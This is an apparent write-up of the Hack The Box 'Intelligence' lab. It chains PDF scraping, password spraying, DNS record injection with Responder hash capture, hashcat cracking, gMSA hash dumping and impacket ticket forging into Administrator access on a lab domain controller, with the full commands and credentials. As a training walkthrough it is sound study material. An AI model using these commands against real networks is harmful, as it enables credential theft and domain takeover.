Engagement flow
Summary
Hack the box Intelligence was an absolutely amazing machine. It involved so many steps that were practical, applicable and not convoluted while still being a challenge. The journey starts off with website enumeration for a indirect object reference,. Following is the creation of a custom script to download and parse large amounts of PDFs. From here we conduct account spraying for an SMB session that allows for the exfiltration of an administrators script. Reading this suggests windows user credentials are being transmitted over the network as apart of this powershell script found as kind of a cronjob. This allows for the use of responder, but only after conducting a DNS poisoning attack. Once we have the hash we crack it, troubleshoot a time synch issue and forge a silver ticket against Kerberos and connect in for root.
Tools used
Burpsuite
Burp cluster bomb
Exiftool
Sed / AWK / Grep
Crackmap
PowerShell ISE
Responder
Dnsupdate
Hashcat
Impacket silver ticket forging
Processes/techniques
URL fuzzing
Custom scripting
File forensics
File parsing
Password spraying
DNS poisoning
Man in the middle attack
Password cracking
Kerberoasting / Silver ticket
Time clock skew/synch troubleshooting
References
https://stealthbits.com/blog/securing-gmsa-passwords/https://github.com/micahvandeusen/gMSADumper
Enumeration
Starting off with a basic nmap scan reveals a rather large attack surface. I already have some ideas of what we need to do and what we don't need to do. I imagine the DNS port is here for a reason and it could be utilized for scraping user or access data. Alternatively it may require poisoning or enumerating internally to resolve an internal service or something of the like. If this was a lab with more machines on the network then we could leverage DNS to help with man in the middle attacks.
Of course we see next the usual suspects HTTP ports 80/443 followed by our smb shares on 135/445. We have Kerberos running on port 80 which suggests we may have to attack a service account or craft a golden/silver ticket in a Kerberoast attack. I finally see many ports dealing with LDAP which we will likely have to scrape for key information and access to the machine.
└─$ nmap 10.129.205.81
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 21:21 EST
Nmap scan report for 10.129.205.81
Host is up (0.067s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds
Looking at a more in-depth scan with -sC and -sV reveals further information about the services running on those ports. We also find the domain names, intelligence.htb and dc.intelligence.htb.
└─$ nmap 10.129.205.81 -sC -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 21:24 EST
Nmap scan report for 10.129.205.81
Host is up (0.064s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-11-23 10:24:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-23T10:26:16+00:00; +8h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-23T10:26:17+00:00; +8h00m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-23T10:26:16+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-23T10:26:17+00:00; +8h00m01s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-11-23T10:25:37
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.90 seconds
Website Enumeration
Jumping into the website to kick things off with AutoRecon running in the background as usual.
We initially see nothing interactive on this website such as forms, pages, portals etc.
Reviewing the source code turns up a uploaded pdf document however.
Reviewing the document shows it is lorum ipsum, just wording for the sake of filler. Looking at the other PDF shows the same. We noticed that we had no access to the documents folder and started to guess file names by iterating through the date. All the files we found had nonsense filler.
It dawned on me that perhaps we needed to iterate through all possibilities and doawnload all files for review. So from here I pivoted and used the burpsuite cluster bomb tool which allowed me to fuzz multiple variables in the request. In this case I chose the month and day. Sadly I had originally hit a road block as my word list specified single digit integers as 1,2,3 when it was suppose to be 01,02,03.
Eventually I came across this PDF after using a pdf viewer to look at all objects while quickly clicking through them. The proper method was to script out a PDF reader/parser and grep for the keyword "password".
NewIntelligenceCorpUser9876
As I took a step back to plan my next steps I thought it would be wise to dive deeper into the pdf files just incase. I ran the binwalk tool on a pdf and found all files within to be relevant. From here I used the exif tool on two different pdf's and they had different usernames. It became quite clear here that I would need to write a script to automate the process of downloading all possible PDF's and extracting the usernames.
Script it out
So form here it was rather clear we needed to do 2 things which would require us to write a custom script. I really leveraged and relied on the pudb visual python debugger to help me get through this. My process was to start off with Pseudo code, the rubber duck method, and working through the debugger while hammering off searches and queries to google to figure out what libraries and functions to use.
We need to do the following in simple terms.
Download all the PDF's
Parse them to create a username file
------------------------START OF SCRIPT----------------------------------------------
#from pudb import set_trace; set_trace()
import requests
day = 1
month = 1
#Iterative loop for months of the year
while month < 13:
#Here we convert day and month into a string, to allow
# for padding 0's onto numbers 1-9 to be parsed as 01-09
day2 = str(day)
day3 = day2.zfill(2)
month2 = str(month)
month3 = month2.zfill(2)
#If the url fails then we print to term and increment day by one
url = 'http://intelligence.htb/documents/2020-%s-%s-upload.pdf' % (month3, day3)
r = requests.get(url)
if(r.status_code == 404):
print ('dud...',url)
day += 1
#If the url is successful then we write a file to the current directory with month and day
if(r.status_code == 200):
print (url)
open('file' + "M" + month2 + "D" + day3, 'wb').write(r.content)
day += 1
#Here we reset our day counter when it reaches end of month, and increment month by one
if day >= 30:
month += 1
day = 0
-----------------------------END OF SCRIPT---------------------------------------------------
Now that we have all the PDF's we will need to parse the usernames from each PDF and create a username list. This list will allow us to use crackmap to conduct credential spraying with all the usernames and our previously found password. We will be authenticating against the SMB service to confirm credentials. I was able to use Grep and SED to initially parse all the usernames into our usernamelist.txt.
Here I used exiftool with Grep to recursively look through all files and filter out all lines without our usernames.
exiftool -r * | grep Creator > usernamelist.txt
This left us with a username list and we needed to parse out the Creator, semicolon and all the whitespace.
┌──(kali㉿kali)-[~/HTB/intelligence/files]
└─$ cat usernamelist.txt 2 ⚙
Creator : William.Lee
Creator : Scott.Scott
Creator : Jason.Wright
Creator : Veronica.Patel
Creator : Jennifer.Thomas
Creator : Danny.Matthews
Creator : David.Reed
Creator : Stephanie.Young
Creator : Jose.Williams
Creator : John.Coleman
Creator : Jason.Wright
Creator : Jose.Williams
Creator : Daniel.Shelton
Creator : Brian.Morris
Creator : Jennifer.Thomas
Creator : Thomas.Valenzuela
Creator : Travis.Evans
Creator : Samuel.Richardson
Creator : Richard.Williams
Creator : David.Mcbride
Creator : Jose.Williams
Creator : John.Coleman
Creator : William.Lee
Creator : Anita.Roberts
Creator : Brian.Baker
Creator : Jose.Williams
Creator : David.Mcbride
Creator : Kelly.Long
Creator : John.Coleman
Creator : Jose.Williams
Creator : Nicole.Brock
Creator : Thomas.Valenzuela
Creator : David.Reed
Creator : Kaitlyn.Zimmerman
Creator : Jason.Patterson
Creator : Thomas.Valenzuela
Creator : David.Mcbride
Creator : Darryl.Harris
Creator : William.Lee
Creator : Stephanie.Young
Creator : David.Reed
Creator : Nicole.Brock
Creator : David.Mcbride
Creator : William.Lee
Creator : Stephanie.Young
Creator : David.Wilson
Creator : Scott.Scott
Creator : Teresa.Williamson
Creator : John.Coleman
Creator : Veronica.Patel
Creator : John.Coleman
Creator : Samuel.Richardson
Creator : Ian.Duncan
Creator : Nicole.Brock
Creator : William.Lee
Creator : Jason.Wright
Creator : Travis.Evans
Creator : David.Mcbride
Creator : Jessica.Moody
Creator : Ian.Duncan
Creator : Jason.Wright
Creator : Richard.Williams
Creator : Tiffany.Molina
Creator : Jose.Williams
Creator : Jessica.Moody
Creator : Anita.Roberts
Creator : Teresa.Williamson
Creator : Kaitlyn.Zimmerman
Creator : Jose.Williams
Creator : Stephanie.Young
Creator : Samuel.Richardson
Creator : Tiffany.Molina
Creator : Ian.Duncan
Creator : Kelly.Long
Creator : Ian.Duncan
Creator : Jose.Williams
Creator : David.Wilson
Creator : Thomas.Hall
Creator : Ian.Duncan
Now we use SED to remove all the space before the usernames. I am not sure if we will need to remove the white space remaining, but only one way to find out :)
┌──(kali㉿kali)-[~/HTB/intelligence/files]
└─$ sed 's/.*://' usernamelist.txt 2 ⚙
William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
Stephanie.Young
Jose.Williams
Password Spraying
From here we can call out username list into crackmap and spray these usernames with the password, to test authentication over the SMB service. We indeed have a successful hit and the script then terminates.
crackmapexec smb 10.129.187.180 -u user.txt -p 'NewIntelligenceCorpUser9876'
Tiffany.Molina
NewIntelligenceCorpUser9876
Establish an SMB session
With our credentials in hand we connect over SMB to see if we can enumerate files for juicy information. We know that there are no RDP or SSH ports so gaining access to this machine will likely be through code execution or something of the like. After poking around we find a custom powershell script labeled "downdetector.ps1". We download this script immediately.
Script Review
So looking at the script we can see the AD module being imported and the script is then looking for any web related record within AD DNS. From here, once it finds a valid web object it is tested with the "Invoke-WebRequest" expression. If it is successful and returns 200 it sends mail. But more importantly is the Invoke-WebRequest and use of the "-UseDefaultCredentials". Well we know that AD credentials are often masked in NTLMV2 hashing and this can be cracked if the password is simple and found in a dictionary.
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")
{
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200)
{
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
image -downdetecor.ps1 script
Man in the middle - Part 1
So what do we do from here. Well we want to intercept this request and read those credentials. Now the only thing, is the server is not just broadcasting this information, as it is looking for a domain with "web" as the prefix. I took a step back and meditated on the problem at hand. I first leveraged responder and it provided nothing, not that anything was expected. It occurred to my team mate and I, that perhaps we have to spoof the website which would require updating the host file on our target server in order to map web* to our IP address.
DNS update (Poisoning)
So as it stands the DNS server does not know who we are so when the PowerShell script runs, even if it had our web address it would need to be registered with DNS in order to resolve. We can change this by adding an a record as Tiffany.
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'webboom.intelligence.htb' -d 10.10.14.52 10.129.186.202
-u The user to authenticate as;
-p The user’s password;
-a Adding a new record;
-r The domain to add;
-d Record data (pointed to ourselves to resolve webboom to our ip)
Record type is A by default
Man in the middle - Part 2
Once again we use responder and successfully acquire the hash.
Crack the hash
We copy the hash information into a file and clear the trailing white space passing it through crackmap.exe to get the final hash as 'Mr.Teddy'.
hashcat -m 5600 hash.txt -w /usr/share/wordlists/rockyou.txt
Ted.Graves::intelligence:e0f2b1ec7bcb87b8:935C0FFCC69E6DCFC3E8753FDBF3A4E3:0101000000000000B3357C1231E4D701847EE01690CBA3110000000002000800480036005300380001001E00570049004E002D0032003600500033005A00520045004D004200500033000400140048003600530038002E004C004F00430041004C0003003400570049004E002D0032003600500033005A00520045004D004200500033002E0048003600530038002E004C004F00430041004C000500140048003600530038002E004C004F00430041004C00080030003000000000000000000000000020000041608A1C43964A13DFE6B3BA0A3B95A62F0555F3B85F2C5ED5FCA9D3292A86A40A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620062006F006F006D002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000:Mr.Teddy
Mr.Teddy
LDAP enumeration
WIth the new credentials in hand, nothing worked except for LDAP, so after a series of LDAP enumeration techniques I ran gMSADumper which provided the hash to a service account.
python3 gMSADumper.py -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -l 10.129.188.50
svc_int$:::b98d4cef68f72a98dfeed732d1b1abca
Forge a silver ticket
Well the first thing here is to start kerberoasting related attacks with the impacket suite, in particular the kerberoast related tools. Using the silver ticket forgery request allows anyone who has cracked a ticket, to leverage it and impersonate any user if the impersonate privilege's is enabled which it often is. However upon finally figuring out the syntax for getST.py as I don't exactly use it everyday, we received an error regarding time skew.
Time synch troubleshooting
In order to troubleshoot the time synch issue, we have to first disabled the time on our vm with the following command.
sudo /etc/init.d/virtualbox-guest-utils stop
Then we need to set our time to the server with
sudo net time set -S 10.10.10.248
OR
sudo ntpdate 10.129.186.210
Export the certificate
export the cert
export KRB5CCNAME=Administrator.ccache
Root
For the root portion we can forge our silver ticket and with that in hand we can connect in with psexec from the impacket swuite.
python3 /usr/share/doc/python3-impacket/examples/getST.py -spn www/dc.intelligence.htb -impersonate Administrator -hashes :b98d4cef68f72a98dfeed732d1b1abca -dc-ip 10.129.188.50 'intelligence.htb/svc_int$'
sudo python3 /usr/share/doc/python3-impacket/examples/smbclient.py Administrator@dc.intelligence.htb -k -no-pass
sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator@dc.intelligence.htb -k -no-pass
Comments